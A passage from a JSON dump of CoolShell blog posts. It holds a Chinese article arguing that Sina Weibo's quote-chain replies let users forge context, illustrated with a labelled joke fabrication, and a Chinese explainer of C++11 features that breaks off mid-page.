class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4758.html\"><img alt=\"如何写出无法维护的代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4758.html\">如何写出无法维护的代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3005.html\"><img alt=\"代码重构的一个示例\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3005.html\">代码重构的一个示例</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2990.html\"><img alt=\"编程时间分配图\" height=\"150\" src=\"../wp-content/uploads/2010/09/Time-Allocation-while-Programming-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2990.html\">编程时间分配图</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5201.html\">重构代码的7个阶段</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-17 国内微博和Twitter的最大不同.html",
    "content": "<html><body><p>霍炬近两个月前写过一篇《<a href=\"http://blog.devep.net/virushuo/2011/06/26/microblogging.html\">microblogging和微博信息架构产品差距和影响</a>》分析了国内微博和Twitter的差距，重点就是因为信息的平等性。我也一直在观察新浪微博，以及新浪和Twitter的一些功能上的差别。发现了一些东西，想在这里和大家分享一下。我的见解达不到像霍炬那样的层次，作为一个技术人员，我只能在产品功能上做些分析。欢迎大家指正。</p>\n<h4>现实状况</h4>\n<p>国内的微博就是新浪，Sohu微博，腾讯微博，以及饭否。我们不难发现：</p>\n<ul>\n<li>搜狐的和腾讯的就是Copy新浪的。在Following和Followed上大家都有自己所谓的“创新”</li>\n<li>饭否是在Copy Twitter，这点太明显了，不过，抄在了表面，而且相当的怪。</li>\n</ul>\n<p>国内所有的这些以Twitter为蓝本干出来的这些东西，其和Twitter在核心功能上有这些差别：</p>\n<ul>\n<li>Twitter的Retweet一点信息都加不上，国内的微博的转发需要加上自己的评论，也就形自己的信息。</li>\n<li>Twitter的Reply只会有一个@原来的人，国内的Reply也很相似，只是勾上转发后就会把Reply的东西以“<strong>//@XXX</strong>”的方式成为自己的信息。</li>\n<li>饭否的做法比较怪，转发加原文（想做成新浪的样子），回复不加原文，只有@（Twitter）的样子，可见饭否的分裂。</li>\n</ul>\n<h4>SNS中的上下文</h4>\n<p>这段时间，我一直在想，新浪为什么要做成这样，为什么不做成Twitter那样，或者，为什么Twitter做成那样而不是新浪这样？从表面上看上去，<strong>新浪的“<span style=\"color: #800000;\">回复+转发</span>”会带被回的信息，而Twitter的回复不带上下文，Twitter上一些我fo的人的话题完全看不懂，不像新浪的还能看到上文</strong>。</p>\n<p>老实说，在一开始，我还觉得新浪微博这种用法和技术上要比 Twitter 要强大，现在看来是我当时对Twitter并不熟悉。经过这段时间的观察。<strong>我恰恰发现新浪在转发和回复上都要带上原文其实是一件很没有技术含量的事</strong>。要说清这个事，请让我说一下评论和回复的事。</p>\n<p><span id=\"more-5247\"></span></p>\n<ul>\n<li>我们网上讨论一个事的时候，你会发现，一个主题下的讨论会对回复的话题进行讨论而偏题，甚至会发散出多条讨论线各自发展。这种事会造成讨论的混乱。所以，上下文是关键。</li>\n<li>BBS和Wordpress可以使用“引用”或“回复”来让你的话题有上下文。新浪的博客和新闻评论里没有，只是网易的评论可以盖楼。所以新浪微博基本上采用的就是这样的方式。</li>\n</ul>\n<p>然而，Twitter则不是，Twitter的回复系统是不会像新浪那样加上“<strong>//@XXX</strong>”的东西的，如果你要看信息的上下文，你需要点击信息，在右边栏会出现其上下文列表。<strong>Twitter的这个功能可以让你很容易地找到一个信息链，而不受别的信息链的干扰，不像国内微博那样——多个信息链穿插成一锅粥让你无法阅读</strong>（饭否是抄Twitter抄的最像的，但是其没有实现这个功能）。</p>\n<h4>上下文造假</h4>\n<p>国内的所有微博都做不到这个事，我估计是因为技术不行。所以，为了加上上下文，他们只能做成今天你看到的这个样子。你也许会想和我争论，这样在阅读体验上更好。但是，如果你看过下面这个例子，你一定就不会这么想了。</p>\n<p>在新浪微博上，我们转发或是回复时，我们可以人为地加上这样的上下文（说白了，就是造假）：</p>\n<blockquote><p>//<a href=\"http://weibo.com/yaochen\" target=\"_blank\">@姚晨</a>：八顿也会C语言。//<a href=\"http://weibo.com/renzhiqiang\" target=\"_blank\">@任志强</a>：不是C++才牛吗？ //<a href=\"http://blog.sina.com.cn/lichengpeng\" target=\"_blank\">@李承鹏</a>：代表盲肠封你为程序员的脊梁。//<a href=\"http://weibo.com/1739928273\" target=\"_blank\">@苍井空</a>：还要爱吃空心菜的菜。 //<a href=\"http://weibo.com/kaifulee\" target=\"_blank\">@李开复</a>：成功的程序员的标志：1）用C语言，2）不用IE6，3）无需敏捷咨询师。</p></blockquote>\n<p>看到这个，你明白为什么Twitter要那样，而不是新浪这样了吧？！<strong>这就是差距，至少是产品经理的差距</strong>。我个人觉得还有技术上的差距。如果某人给你发来的一条手机短信你都搞不清楚是不是这个人说的，那会是多么恐怖的事。</p>\n<p><span style=\"color: #cc0000;\"><strong>有人说，在Twitter上也可以造假，但是这需要用户自己去干，Twitter的系统并不会主动干这个。 Twitter的Retweet和Reply是可以区分用户行为和系统行为（就看你加不加原信息），而新浪微博则无法区系统行为和用户行为，这就是国内微博的软肋！</strong></span></p>\n<h4>其它</h4>\n<p>新浪的东西其实挺没创意的，<a href=\"https://coolshell.cn/articles/3872.html\" target=\"_blank\" title=\"微软用新浪来当反面教材\">微软用新浪在当过反面教材</a>，某WEB设计师也用<a href=\"https://coolshell.cn/articles/3605.html\" target=\"_blank\" title=\"为什么中国的网页设计那么烂？\">新浪来当过反面教材</a>。不过，新浪微博还是很强大的，尤其是删贴和阻止信息传播上，经过观察，的确很强大。</p>\n<p><span style=\"color: #008000;\">我把我这篇文章里的那个欺诈示例转到了我的微博（<a href=\"http://weibo.com/n/%E5%B7%A6%E8%80%B3%E6%9C%B5%E8%80%97%E5%AD%90\"><span style=\"color: #008000;\">@左耳朵耗子</span></a>）做了个测试。结果，在有这篇文章做提示的情况下，还是有些人相信了，还有些人骂我并把我取消关注和拉黑了。我真是服了，我故意造得这么假这么娱乐，结果还是有些人认真了。你说那些骗子看到这个情况岂不是开心之极啊。再次说明新浪微博的这种上下文的方式弊端！</span></p>\n<p>（<strong>转载请注明作者和出处</strong>）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4914.html\"><img alt=\"新浪微博的XSS攻击\" height=\"150\" src=\"../wp-content/uploads/2011/06/sina_xss01-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4914.html\">新浪微博的XSS攻击</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/3872.html\"><img alt=\"微软用新浪来当反面教材\" height=\"150\" src=\"../wp-content/uploads/2011/03/affc-image1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/3872.html\">微软用新浪来当反面教材</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22367.html\"><img alt=\"聊聊 nostr 和 审查\" height=\"150\" src=\"../wp-content/uploads/2023/02/nostr-aplicacion-descentralizada-1140x570-1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22367.html\">聊聊 nostr 和 审查</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18094.html\"><img alt=\"如何免费的让网站启用HTTPS\" height=\"150\" src=\"../wp-content/uploads/2017/08/enable-https-banner-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18094.html\">如何免费的让网站启用HTTPS</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12225.html\"><img alt=\"DHH 谈混合移动应用开发\" height=\"150\" src=\"../wp-content/uploads/2014/12/1053-DHH-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12225.html\">DHH 谈混合移动应用开发</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/5247.html\">国内微博和Twitter的最大不同</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2011-8-19 C++11 中值得关注的几大变化（详解）.html",
    "content": "<html><body><p>源文章来自前C++标准委员会的 <a href=\"http://www.softwarequalityconnection.com/author/dannykalev/\">Danny Kalev</a> 的 <a href=\"http://www.softwarequalityconnection.com/2011/06/the-biggest-changes-in-c11-and-why-you-should-care/\" target=\"_blank\">The Biggest Changes in C++11 (and Why You Should Care)</a>，赖勇浩做了一个<a href=\"http://blog.csdn.net/lanphaday/article/details/6564162\" target=\"_blank\">中文翻译在这里</a>。所以，我就不翻译了，我在这里仅对文中提到的这些变化“<strong>追问为什么要引入这些变化</strong>”的一个探讨，<strong>只有知道为了什么，用在什么地方，我们才能真正学到这个知识</strong>。而以此你可以更深入地了解这些变化。所以，本文不是翻译。因为写得有些仓促，所以难免有问题，还请大家指正。</p>\n<h4 class=\"color-programming\">Lambda 表达式</h4>\n<p>Lambda表达式来源于函数式编程，说白就了就是在使用的地方定义函数，有的语言叫“闭包”，如果 lambda 函数没有传回值(例如 <tt>void</tt> )，其回返类型可被完全忽略。 定义在与 lambda 函数相同作用域的变量参考也可以被使用。这种的变量集合一般被称作 closure（闭包）。我在这里就不再讲这个事了。表达式的简单语法如下，</p>\n<p><code class=\"EnlighterJSRAW\">[capture](parameters)-&gt;return_type {body}</code></p>\n<p>原文的作者给出了下面的例子：</p>\n<pre class=\"EnlighterJSRAW\">int main()\n{\n   char s[]=\"Hello World!\";\n   int Uppercase = 0; //modified by the lambda\n   for_each(s, s+sizeof(s), [&amp;Uppercase] (char c) {\n    if (isupper(c))\n     Uppercase++;\n    });\n cout &lt;&lt; Uppercase &lt;&lt; \" uppercase letters in: \" &lt;&lt; s &lt;&lt;endl;\n}</pre>\n<p>在传统的STL中for_each() 这个玩意最后那个参数需要一个“函数对象”，所谓函数对象，其实是一个class，这个class重载了operator()，于是这个对象可以像函数的式样的使用。实现一个函数对象并不容易，需要使用template，比如下面这个例子就是函数对象的简单例子（实际的实现远比这个复杂）：</p>\n<p><span id=\"more-5265\"></span></p>\n<pre class=\"EnlighterJSRAW\">template &lt;class T&gt;\nclass less\n{\npublic:\n    bool operator()(const T&amp;l, const T&amp;r)const\n    {\n        return l &lt; r;\n    }\n};</pre>\n<p class=\"color-programming\">所以，<strong>C++引入Lambda的最主要原因就是1）可以定义匿名函数，2）编译器会把其转成函数对象</strong>。相信你会和我一样，会疑问为什么以前STL中的ptr_fun()这个函数对象不能用？（ptr_fun()就是把一个自然函数转成函数对象的）。原因是，ptr_fun() 的局限是其接收的自然函数只能有1或2个参数。</p>\n<p class=\"color-programming\">那么，除了方便外，为什么一定要使用Lambda呢？它比传统的函数或是函数对象有什么好处呢？我个人所理解的是，这种函数之年以叫“闭包”，就是因为其限制了别人的访问，更私有。也可以认为他是一次性的方法。Lambda表达式应该是简洁的，极私有的，为了更易的代码和更方便的编程。</p>\n<h4 class=\"color-programming\">自动类型推导 auto</h4>\n<p>在这一节中，原文主要介绍了两个关键字 auto 和 deltype，示例如下：</p>\n<pre class=\"EnlighterJSRAW\">auto x=0; //x has type int because 0 is int\nauto c='a'; //char\nauto d=0.5; //double\nauto national_debt=14400000000000LL;//long long</pre>\n<p>auto 最大的好处就是让代码简洁，尤其是那些模板类的声明，比如：STL中的容器的迭代子类型。</p>\n<p><code class=\"EnlighterJSRAW\">vector&lt;int&gt;::const_iterator ci = vi.begin();</code></p>\n<p>可以变成：</p>\n<p><code class=\"EnlighterJSRAW\">auto ci = vi.begin();</code></p>\n<p>模板这个特性让C++的代码变得很难读，不信你可以看看STL的源码，那是一个乱啊。使用auto必需一个初始化值，编译器可以通过这个初始化值推导出类型。因为auto是来简化模板类引入的代码难读的问题，如上面的示例，iteration这种类型就最适合用auto的，但是，我们不应该把其滥用。</p>\n<p>比如下面的代码的可读性就降低了。因为，我不知道ProcessData返回什么？int? bool? 还是对象？或是别的什么？这让你后面的程序不知道怎么做。</p>\n<p><code class=\"EnlighterJSRAW\">auto obj = ProcessData(someVariables);</code></p>\n<p>但是下面的程序就没有问题，因为pObject的型别在后面的new中有了。</p>\n<p><code class=\"EnlighterJSRAW\">auto pObject = new SomeType&lt;OtherType&gt;::SomeOtherType();</code></p>\n<h4>自动化推导 decltype</h4>\n<p>关于 <code>decltype</code> 是一个操作符，其可以评估括号内表达式的类型，其规则如下：</p>\n<ol>\n<li>如果表达式e是一个变量，那么就是这个变量的类型。</li>\n<li>如果表达式e是一个函数，那么就是这个函数返回值的类型。</li>\n<li>如果不符合1和2，如果e是左值，类型为T，那么decltype(e)是T&amp;；如果是右值，则是T。</li>\n</ol>\n<p>原文给出的示例如下，我们可以看到，这个让的确我们的定义变量省了很多事。</p>\n<pre class=\"EnlighterJSRAW\">const vector&lt;int&gt; vi;\ntypedef decltype (vi.begin()) CIT;\nCIT another_const_iterator;</pre>\n<p>还有一个适合的用法是用来typedef函数指针，也会省很多事。比如：</p>\n<pre class=\"EnlighterJSRAW\"> decltype(&amp;myfunc) pfunc = 0;\n\ntypedef decltype(&amp;A::func1) type;</pre>\n<h4>auto 和 decltype 的差别和关系</h4>\n<p><a href=\"http://en.wikipedia.org/wiki/C%2B%2B0x#Type_inference\" rel=\"nofollow\" target=\"_blank\">Wikipedia 上是这么说的</a>（关于decltype的规则见上）</p>\n<pre class=\"EnlighterJSRAW\">#include &lt;vector&gt;\n\nint main()\n{\n    const std::vector&lt;int&gt; v(1);\n    auto a = v[0];        // a 的类型是 int\n    decltype(v[0]) b = 1; // b 的类型是 const int&amp;, 因为函数的返回类型是\n                          // std::vector&lt;int&gt;::operator[](size_type) const\n    auto c = 0;           // c 的类型是 int\n    auto d = c;           // d 的类型是 int\n    decltype(c) e;        // e 的类型是 int, 因为 c 的类型是int\n    decltype((c)) f = c;  // f 的类型是 int&amp;, 因为 (c) 是左值\n    decltype(0) g;        // g 的类型是 int, 因为 0 是右值\n}\n</pre>\n<p>如果auto 和 decltype 在一起使用会是什么样子？能看下面的示例，下面这个示例也是引入decltype的一个原因——让C++有能力写一个 “ <a href=\"http://en.wikipedia.org/wiki/Wrapper_function\" title=\"Wrapper function\">forwarding function</a> 模板”，</p>\n<pre class=\"EnlighterJSRAW\">\ntemplate&lt; typename LHS, typename RHS&gt;\n  auto AddingFunc(const LHS &amp;lhs, const RHS &amp;rhs) -&gt; decltype(lhs+rhs)\n{return lhs + rhs;}\n</pre>\n<p>这个函数模板看起来相当费解，其用到了auto 和 decltype 来扩展了已有的模板技术的不足。怎么个不足呢？在上例中，我不知道AddingFunc会接收什么样类型的对象，这两个对象的 + 操作符返回的类型也不知道，老的模板函数无法定义AddingFunc返回值和这两个对象相加后的返回值匹配，所以，你可以使用上述的这种定义。</p>\n<h4 class=\"color-programming\">统一的初始化语法</h4>\n<p>C/C++的初始化的方法比较，C++ 11 用大括号统一了这些初始化的方法。</p>\n<p>比如：POD的类型。</p>\n<pre class=\"EnlighterJSRAW\">int arr[4]={0,1,2,3};\nstruct tm today={0};</pre>\n<p>关于POD相说两句，所谓POD就是<a href=\"http://en.wikipedia.org/wiki/Plain_Old_Data_Structures\" target=\"_blank\">Plain Old Data</a>，当class/struct是<em>极简的(trivial)</em>、属于<em>标准布局(standard-layout)</em>，以及他的所有非静态（non-static）成员都是POD时，会被视为POD。如：</p>\n<pre class=\"EnlighterJSRAW\">struct A { int m; }; // POD\nstruct B { ~B(); int m; }; // non-POD, compiler generated default ctor\nstruct C { C() : m() {}; ~C(); int m; }; // non-POD, default-initialising m</pre>\n<p>POD的初始化有点怪，比如上例，new A; 和new A(); 是不一样的，对于其内部的m，前者没有被初始化，后者被初始化了（不同 的编译器行为不一样，VC++和GCC不一样）。而非POD的初始化，则都会被初始化。</p>\n<p>从这点可以看出，C/C++的初始化问题很奇怪，所以，在C++ 2011版中就做了统一。原文作者给出了如下的示例：</p>\n<pre class=\"EnlighterJSRAW\">\nC c {0,0}; //C++11 only. 相当于: C c(0,0);\n\nint* a = new int[3] { 1, 2, 0 }; /C++11 only\n\nclass X {\n    int a[4];\n    public:\n        X() : a{1,2,3,4} {} //C++11, member array initializer\n};</pre>\n<p>容器的初始化：</p>\n<pre class=\"EnlighterJSRAW\">// C++11 container initializer\nvector&lt;string&gt; vs={ \"first\", \"second\", \"third\"};\nmap singers =\n{ {\"Lady Gaga\", \"+1 (212) 555-7890\"},\n{\"Beyonce Knowles\", \"+1 (212) 555-0987\"}};</pre>\n<p>还支持像Java一样的成员初始化：</p>\n<pre class=\"EnlighterJSRAW\">class C\n{\n   int a=7; //C++11 only\n public:\n   C();\n};</pre>\n<h4 class=\"color-programming\">Delete 和 Default 函数</h4>\n<p>我们知道C++的编译器在你没有定义某些成员函数的时候会给你的类自动生成这些函数，比如，构造函数，拷贝构造，析构函数，赋值函数。有些时候，我们不想要这些函数，比如，构造函数，因为我们想做实现单例模式。传统的做法是将其声明成private类型。</p>\n<p>在新的C++中引入了两个指示符，delete意为告诉编译器不自动产生这个函数，default告诉编译器产生一个默认的。原文给出了下面两个例子：</p>\n<pre class=\"EnlighterJSRAW\">struct A\n{\n    A()=default; //C++11\n    virtual ~A()=default; //C++11\n};</pre>\n<p>再如delete</p>\n<pre class=\"EnlighterJSRAW\">struct NoCopy\n{\n    NoCopy &amp; operator =( const NoCopy &amp; ) = delete;\n    NoCopy ( const NoCopy &amp; ) = delete;\n};\nNoCopy a;\nNoCopy b(a); //compilation error, copy ctor is deleted</pre>\n<p>这里，我想说一下，为什么我们需要default？我什么都不写不就是default吗？不全然是，比如构造函数，因为只要你定义了一个构造函数，编译器就不会给你生成一个默认的了。所以，为了要让默认的和自定义的共存，才引入这个参数，如下例所示：</p>\n<pre class=\"EnlighterJSRAW\">struct SomeType\n{\n SomeType() = default; // 使用编译器生成的默认构造函数\n SomeType(OtherType value);\n};</pre>\n<p>关于delete还有两个有用的地方是</p>\n<p>1）让你的对象只能生成在栈内存上：</p>\n<pre class=\"EnlighterJSRAW\">struct NonNewable {\n    void *operator new(std::size_t) = delete;\n};</pre>\n<p>2）阻止函数的其形参的类型调用：（若尝试以 double 的形参调用 <code>f()</code>，将会引发编译期错误， 编译器不会自动将 double 形参转型为 int 再调用<code>f()</code>，如果传入的参数是double，则会出现编译错误）</p>\n<pre class=\"EnlighterJSRAW\">void f(int i);\n void f(double) = delete;</pre>\n<h4 class=\"color-programming\">nullptr</h4>\n<p>C/C++的NULL宏是个被有很多潜在BUG的宏。因为有的库把其定义成整数0，有的定义成 (void*)0。在C的时代还好。但是在C++的时代，这就会引发很多问题。你可以上网看看。这是为什么需要 <code>nullptr</code> 的原因。 <code>nullptr</code> 是强类型的。</p>\n<pre class=\"EnlighterJSRAW\">void f(int); //#1\nvoid f(char *);//#2\n//C++03\nf(0); //二义性\n//C++11\nf(nullptr) //无二义性，调用f(char*)</pre>\n<p><code>所以在新版中请以 nullptr</code> 初始化指针。</p>\n<h4 class=\"color-programming\">委托构造</h4>\n<p>在以前的C++中，构造函数之间不能互相调用，所以，我们在写这些相似的构造函数里，我们会把相同的代码放到一个私有的成员函数中。</p>\n<pre class=\"EnlighterJSRAW\">class SomeType {\nprivate:\n  int number;\n  string name;\n  SomeType( int i, string&amp;amp; s ) : number(i), name(s){}\npublic:\n  SomeType( )               : SomeType( 0, \"invalid\" ){}\n  SomeType( int i )         : SomeType( i, \"guest\" ){}\n  SomeType( string&amp;amp; s ) : SomeType( 1, s ){ PostInit(); }\n};</pre>\n<p>但是，为了方便并不足让“委托构造”这个事出现，最主要的问题是，基类的构造不能直接成为派生类的构造，就算是基类的构造函数够了，派生类还要自己写自己的构造函数：</p>\n<pre class=\"EnlighterJSRAW\">class BaseClass\n{\npublic:\n  BaseClass(int iValue);\n};\n\nclass DerivedClass : public BaseClass\n{\npublic:\n  using BaseClass::BaseClass;\n};</pre>\n<p>上例中，派生类手动继承基类的构造函数， 编译器可以使用基类的构造函数完成派生类的构造。 而将基类的构造函数带入派生类的动作 无法选择性地部分带入， 所以，要不就是继承基类全部的构造函数，要不就是一个都不继承(不手动带入)。 此外，若牵涉到多重继承，从多个基类继承而来的构造函数不可以有相同的函数签名(signature)。 而派生类的新加入的构造函数也不可以和继承而来的基类构造函数有相同的函数签名，因为这相当于重复声明。（所谓函数签名就是函数的参数类型和顺序不）</p>\n<h4 class=\"color-programming\">右值引用和move语义</h4>\n<p>在老版的C++中，临时性变量（称为右值”R-values”，位于赋值操作符之右）经常用作交换两个变量。比如下面的示例中的tmp变量。示例中的那个函数需要传递两个string的引用，但是在交换的过程中产生了对象的构造，内存的分配还有对象的拷贝构造等等动作，成本比较高。</p>\n<pre class=\"EnlighterJSRAW\">void naiveswap(string &amp;amp;a, string &amp;amp;b)\n{\n string temp = a;\n a=b;\n b=temp;\n}</pre>\n<p>C++ 11增加一个新的引用（reference）类型称作右值引用（R-value reference），标记为<tt>typename &amp;&amp;</tt>。他们能够以non-const值的方式传入，允许对象去改动他们。这项修正允许特定对象创造出move语义。</p>\n<p>举例而言，上面那个例子中，string类中保存了一个动态内存分存的char*指针，如果一个string对象发生拷贝构造（如：函数返回），string类里的char*内存只能通过创建一个新的临时对象，并把函数内的对象的内存copy到这个新的对象中，然后销毁临时对象及其内存。<strong>这是原来C++性能上重点被批评的事</strong>。</p>\n<p>能过右值引用，string的构造函数需要改成“move构造函数”，如下所示。这样一来，使得对某个<span style=\"font-family: monospace;\">stirng</span>的右值引用可以单纯地从右值复制其内部C-style的指针到新的string，然后留下空的右值。这个操作不需要内存数组的复制，而且空的暂时对象的析构也不会释放内存。其更有效率。</p>\n<pre class=\"EnlighterJSRAW\">class string\n{\n    string (string&amp;&amp;); //move constructor\n    string&amp;&amp; operator=(string&amp;&amp;); //move assignment operator\n};</pre>\n<p>The C++11 STL中广泛地使用了右值引用和move语议。因此，很多算法和容器的性能都被优化了。</p>\n<h4 class=\"color-programming\">C++ 11 STL 标准库</h4>\n<p>C++ STL库在2003年经历了很大的整容手术 <a href=\"http://www.devsource.com/c/a/Languages/Grok-The-New-Features-in-Standard-C/\">Library Technical Report 1</a> (TR1)。 TR1 中出现了很多新的容器类 (<code>unordered_set</code>, <code>unordered_map</code>, <code>unordered_multiset</code>, 和 <code>unordered_multimap</code>) 以及一些新的库支持诸如：正则表达式， tuples，函数对象包装，等等。 C++11 批准了 TR1 成为正式的C++标准，还有一些TR1 后新加的一些库，从而成为了新的C++ 11 STL标准库。这个库主要包含下面的功能：</p>\n<h5 class=\"color-programming\">线程库</h5>\n<p>这们就不多说了，以前的STL饱受线程安全的批评。现在好 了。C++ 11 支持线程类了。这将涉及两个部分：第一、设计一个可以使多个线程在一个进程中共存的内存模型；第二、为线程之间的交互提供支持。第二部分将由程序库提供支持。大家可以看看<a href=\"http://en.wikipedia.org/wiki/Futures_and_promises\" target=\"_blank\">promises and futures</a>，其用于对象的同步。 <a href=\"http://www.stdthread.co.uk/doc/headers/future/async.html\">async()</a> 函数模板用于发起并发任务，而 <a href=\"http://www.devx.com/cplus/10MinuteSolution/37436\">thread_local</a> 为线程内的数据指定存储类型。更多的东西，可以查看 Anthony Williams的 <a href=\"http://www.devx.com/SpecialReports/Article/38883\">Simpler Multithreading in C++0x</a>.</p>\n<h5 class=\"color-programming\">新型智能指针</h5>\n<p>C++98 的知能指针是 <code>auto_ptr， 在C++ 11中被废弃了。</code>C++11  引入了两个指针类： <a href=\"http://www.informit.com/guides/content.aspx?g=cplusplus&amp;seqNum=239\">shared_ptr</a> 和 <a href=\"http://www.informit.com/guides/content.aspx?g=cplusplus&amp;seqNum=400\">unique_ptr</a>。 shared_ptr只是单纯的引用计数指针，<code>unique_ptr 是用来取代<code>auto_ptr</code></code>。 <code>unique_ptr</code> 提供 <code>auto_ptr</code> 大部份特性，唯一的例外是 <code>auto_ptr</code> 的不安全、隐性的左值搬移。不像 <code>auto_ptr</code>，<code>unique_ptr</code> 可以存放在 C++0x 提出的那些能察觉搬移动作的容器之中。</p>\n<p>为什么要这么干？大家可以看看《More Effective C++》中对 auto_ptr的讨论。</p>\n<h5 class=\"color-programming\">新的算法</h5>\n<p>定义了一些新的算法： <code>all_of()</code>, <code>any_of()</code> 和 <code>none_of()。</code></p>\n<pre class=\"EnlighterJSRAW\">#include &amp;lt;algorithm&amp;gt;\n//C++11 code\n//are all of the elements positive?\nall_of(first, first+n, ispositive()); //false\n//is there at least one positive element?\nany_of(first, first+n, ispositive());//true\n// are none of the elements positive?\nnone_of(first, first+n, ispositive()); //false</pre>\n<p>使用新的copy_n()算法，你可以很方便地拷贝数组。</p>\n<pre class=\"EnlighterJSRAW\">#include &amp;lt;algorithm&amp;gt;\nint source[5]={0,12,34,50,80};\nint target[5];\n//copy 5 elements from source to target\ncopy_n(source,5,target);</pre>\n<p>使用 <code>iota()</code> 可以用来创建递增的数列。如下例所示：</p>\n<pre class=\"EnlighterJSRAW\">include &amp;lt;numeric&amp;gt;\nint a[5]={0};\nchar c[3]={0};\niota(a, a+5, 10); //changes a to {10,11,12,13,14}\niota(c, c+3, 'a'); //{'a','b','c'} </pre>\n<p>总之，看下来，C++11 还是很学院派，很多实用的东西还是没有，比如： XML，sockets，reflection，当然还有垃圾回收。看来要等到C++ 20了。呵呵。不过C++ 11在性能上还是很快。参看 Google’s <a href=\"http://www.itproportal.com/2011/06/07/googles-rates-c-most-complex-highest-performing-language/\">benchmark tests</a>。原文还引用Stroustrup 的观点：C++11 是一门新的语言——一个更好的 C++。</p>\n<p>如果把所有的改变都列出来，你会发现真多啊。我估计C++ Primer那本书的厚度要增加至少30%以上。C++的门槛会不会越来越高了呢？我不知道，但我个人觉得这门语言的确是变得越来越令人望而却步了。（想起了某人和我说的一句话——学技术真的是太累了，还是搞方法论好混些？）</p>\n<p>（全文完）<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/20845.html\"><img alt=\"Rust语言的编程范式\" height=\"150\" src=\"../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/20845.html\">Rust语言的编程范式</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18024.html\"><img alt=\"API设计原则 – Qt官网的设计实践总结\" height=\"150\" src=\"../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" 